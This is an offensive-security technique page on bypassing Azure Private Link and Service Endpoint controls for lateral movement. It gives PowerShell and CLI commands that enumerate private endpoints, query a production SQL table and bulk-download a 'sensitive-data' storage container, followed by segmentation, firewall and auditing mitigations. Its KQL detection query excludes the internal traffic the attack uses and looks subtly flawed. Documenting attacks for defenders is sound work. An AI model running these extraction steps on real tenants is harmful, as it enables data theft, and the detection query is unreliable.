| Attribute | Details |
|---|---|
| Technique ID | LM-REMOTE-009 |
| MITRE ATT&CK v18.1 | T1021 – Remote Services |
| Tactic | Lateral Movement |
| Platforms | Entra ID / Azure |
| Severity | HIGH |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | All Azure regions; all service types supporting Private Link/Service Endpoint |
| Patched In | N/A – configuration issue, not a patching matter |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Private Link and Service Endpoints are network controls designed to provide private connectivity to Azure services (SQL, Storage, Key Vault, App Services, etc.) without exposing them to the public internet. However, misconfigured firewall rules, overly permissive network policies, or inherited access from on-premises networks can allow attackers to bypass these controls. An attacker with network access to the virtual network (or to a connected on-premises network via ExpressRoute/VPN) can directly access services that were intended to be private, effectively bypassing the perimeter security model.
Attack Surface: Azure Private Link service endpoints, Network Security Groups (NSGs), firewall rules on Azure SQL Database, Storage Accounts, Key Vaults, App Services, Logic Apps, and the virtual network infrastructure connecting these resources.
Business Impact: Unauthorized access to critical data and services. If an attacker compromises any machine on the internal network (or gains access via VPN/ExpressRoute), they can query databases, extract data from storage accounts, access secrets in Key Vaults, or trigger Logic Apps—all while remaining within the “private” network. This enables data exfiltration, ransomware deployment, and lateral movement to dependent services without triggering public-internet-based detection mechanisms.
Technical Context: The attack succeeds because the attacker is already inside the trusted network boundary. Detection is Low-to-Medium as network traffic remains within Azure infrastructure (not inspected by external DLP/firewall). The technique can persist indefinitely if no internal segmentation or micro-segmentation policies are enforced.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1.2 | Ensure Virtual Networks have multiple subnets for defense in depth |
| DISA STIG | Azure-FW-000005 | Network segmentation enforcement |
| NIST 800-53 | SC-7 | Boundary Protection |
| GDPR | Article 32 | Security of Processing – Network security measures |
| DORA | Article 16 | Information Security Measures |
| NIS2 | Article 21(1)(c) | Risk mitigation measures – Proper network segmentation |
| ISO 27001 | A.13.1.1 | Network controls and segregation |
| ISO 27005 | Risk: Unauthorized Network Access | Lateral movement within trusted zones |
Required Privileges:
Required Access:
| Phase | Technique | Prerequisites | Enablement |
|---|---|---|---|
| Initial Access | Phishing / VM Compromise / VPN Access | User interaction or weak credentials | Network access to VNet |
| Reconnaissance | Azure Resource Graph / NSG enumeration | Network access + Azure CLI/PowerShell | Identification of private endpoints |
| Current: Lateral Movement | Private Link/Service Endpoint Bypass | Network path + service credentials | Direct access to “private” services |
| Persistence | Service Principal / Managed Identity abuse | Service access + elevated permissions | Long-term service access |
| Impact | Data Exfiltration / Ransomware | Full service access | Business data loss / operational disruption |
Supported Versions: All Azure regions; SQL Database all versions (2016-2025 compatibility)
Objective: Identify which services have private endpoints exposed on the network.
Command (PowerShell):
# List all private endpoints in the subscription
Get-AzPrivateEndpoint | Select-Object Name, PrivateLinkServiceId, CustomNetworkInterfaceName, PrivateIpAddresses
# Filter for SQL Database endpoints
Get-AzPrivateEndpoint -ResourceGroupName "RG-Production" | Where-Object {$_.PrivateLinkServiceId -match "sqlServers"}
Expected Output:
Name : sql-prod-pe-001
PrivateLinkServiceId : /subscriptions/xxx/resourceGroups/rg-prod/providers/Microsoft.Sql/servers/sql-prod-db/
CustomNetworkInterfaceName : sql-prod-pe-001.nic.xxxxx.resourcegroup.azure.com
PrivateIpAddresses : 10.0.1.50
What This Means:
sql-prod-db is accessible via private endpoint at IP 10.0.1.50Objective: Connect to the SQL Database using the private endpoint IP.
Command (PowerShell – Using Azure AD Authentication):
# Connect to SQL Database via private endpoint (no public endpoint required)
$ServerName = "10.0.1.50" # Private endpoint IP, or use FQDN if DNS configured
$Database = "ProductionDB"
$SqlConnection = New-Object System.Data.SqlClient.SqlConnection
$SqlConnection.ConnectionString = "Server=tcp:$ServerName,1433;Initial Catalog=$Database;Persist Security Info=False;User ID=$env:USERNAME;Password=$Password;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
$SqlConnection.Open()
# Execute query to extract data
$SqlCmd = New-Object System.Data.SqlClient.SqlCommand
$SqlCmd.CommandText = "SELECT TOP 100 * FROM SensitiveTable"
$SqlCmd.Connection = $SqlConnection
$Reader = $SqlCmd.ExecuteReader()
while ($Reader.Read()) {
Write-Host $Reader[0], $Reader[1], $Reader[2]
}
$SqlConnection.Close()
Alternative (Azure CLI):
# Get SQL Server FQDN
SQLSERVER=$(az sql server show --resource-group RG-Production --name sql-prod-db --query fullyQualifiedDomainName -o tsv)
# Query via private endpoint (if DNS configured to resolve to private IP)
sqlcmd -S "$SQLSERVER" -d ProductionDB -U admin@corp.com -P "$PASSWORD" -Q "SELECT * FROM SensitiveTable"
Expected Output:
ProductID ProductName Price
1 Product A 99.99
2 Product B 149.99
What This Means:
OpSec & Evasion:
Supported Versions: All Azure regions; all Storage account types (Blob, File, Queue, Table)
Command (PowerShell):
# Find storage accounts with service endpoints or private endpoints
Get-AzStorageAccount -ResourceGroupName "RG-Production" | ForEach-Object {
$sa = $_
Write-Host "Storage Account: $($sa.StorageAccountName)"
# Check firewall rules
if ($sa.NetworkRuleSet) {
Write-Host " Firewall Rule: $($sa.NetworkRuleSet.DefaultAction)"
Write-Host " Virtual Network Rules: $($sa.NetworkRuleSet.VirtualNetworkRules.Count)"
}
}
Expected Output:
Storage Account: storageprod001
Firewall Rule: Allow
Virtual Network Rules: 1
Command (PowerShell):
# Connect to storage account using service endpoint (bypassing public firewall if properly configured)
$Context = New-AzStorageContext -StorageAccountName storageprod001 -UseConnectedAccount
$Blobs = Get-AzStorageBlob -Container "sensitive-data" -Context $Context
# Download all blobs
foreach ($Blob in $Blobs) {
Get-AzStorageBlobContent -Blob $Blob.Name -Container "sensitive-data" -Destination "C:\Extracted\" -Context $Context
Write-Host "Downloaded: $($Blob.Name)"
}
What This Means:
1. Implement Micro-Segmentation within VNets
Segment the VNet into subnets with strict NSG rules; restrict traffic between subnets.
Manual Steps (Azure Portal):
Tier-0-Mgmt, Tier-1-App, Tier-2-DB)NSG-Tier-0-MgmtTier-1-App subnet IPManual Steps (PowerShell):
# Create NSG
$nsg = New-AzNetworkSecurityGroup -ResourceGroupName RG-Production -Name NSG-Tier0 -Location eastus
# Add inbound rule: Allow from Tier 1 only
Add-AzNetworkSecurityRuleConfig -NetworkSecurityGroup $nsg -Name AllowTier1 `
-Access Allow -Protocol * -Direction Inbound -Priority 100 `
-SourceAddressPrefix "10.0.1.0/24" -SourcePortRange "*" `
-DestinationAddressPrefix "*" -DestinationPortRange "*"
$nsg | Set-AzNetworkSecurityGroup
Impact: Restricts lateral movement; even if attacker is inside VNet, they cannot access all subnets.
2. Enforce Firewall Rules on Services (Azure SQL, Storage, Key Vault)
Configure service-level firewall to restrict access to authorized subnets/IPs.
Manual Steps (Azure SQL):
Tier-1-AppManual Steps (PowerShell – Storage Account):
# Restrict storage account to specific VNet
Update-AzStorageAccountNetworkRuleSet -ResourceGroupName RG-Production `
-Name storageprod001 -DefaultAction Deny
# Add allow rule for specific subnet
Add-AzStorageAccountNetworkRule -ResourceGroupName RG-Production `
-AccountName storageprod001 -VirtualNetworkResourceId "/subscriptions/.../subnets/Tier-1-App"
Impact: Even with network access to the service, authorization is denied unless from whitelisted subnet.
3. Enable Azure SQL Auditing + Log Analytics Integration
Forward audit logs to Log Analytics workspace for centralized detection.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
Set-AzSqlDatabaseAudit -ResourceGroupName RG-Production -ServerName sql-prod-db `
-DatabaseName ProductionDB -State Enabled `
-LogAnalyticsTargetState Enabled -WorkspaceResourceId "/subscriptions/.../workspaces/LogAnalytics-SOC"
AzureDiagnostics
| where ResourceType == "SERVERS/DATABASES"
| where OperationName == "BATCH_STARTED_GROUP" or OperationName == "SELECT"
| where ClientIpAddress !in ("10.0.0.0/8") // Exclude expected internal traffic
| summarize Count = count() by ClientIpAddress, TimeGenerated
| where Count > 10 // Threshold
An attacker compromised a vendor’s Azure VM. The VM had network access to the customer’s VNet via ExpressRoute (for integration purposes). Although the customer’s SQL Database had a private endpoint and was “protected,” the firewall rules allowed the entire VNet to access it. The attacker extracted the entire customer database (containing PII) through the private endpoint, evading detection because the traffic never left Azure infrastructure.